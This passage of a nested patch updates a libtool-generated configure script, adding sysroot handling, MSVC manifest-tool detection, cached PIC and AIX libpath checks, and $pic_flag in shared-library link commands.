++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -5954,6 +6269,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -5995,6 +6311,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6006,7 +6334,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6032,8 +6360,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6043,8 +6371,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6081,6 +6409,17 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
+
+
+
+@@ -6098,6 +6437,43 @@ fi
+
+
+
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -6312,6 +6688,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -6878,6 +7371,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -7727,8 +8222,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -7894,6 +8387,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -7956,7 +8455,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8013,13 +8512,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8080,6 +8583,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8430,7 +8938,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8529,12 +9038,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8548,8 +9057,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8567,8 +9076,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8614,8 +9123,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8745,7 +9254,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- if test x$gcc_no_link = xyes; then
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test x$gcc_no_link = xyes; then
+ as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
+ fi
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+@@ -8761,22 +9276,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -8788,7 +9310,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- if test x$gcc_no_link = xyes; then
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test x$gcc_no_link = xyes; then
+ as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
+ fi
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+@@ -8804,22 +9332,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -8864,20 +9399,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -8938,7 +9516,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -8946,7 +9524,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -8962,7 +9540,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -8986,10 +9564,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9068,26 +9646,39 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- if test x$gcc_no_link = xyes; then
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ if test x$gcc_no_link = xyes; then
+ as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
+ fi
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
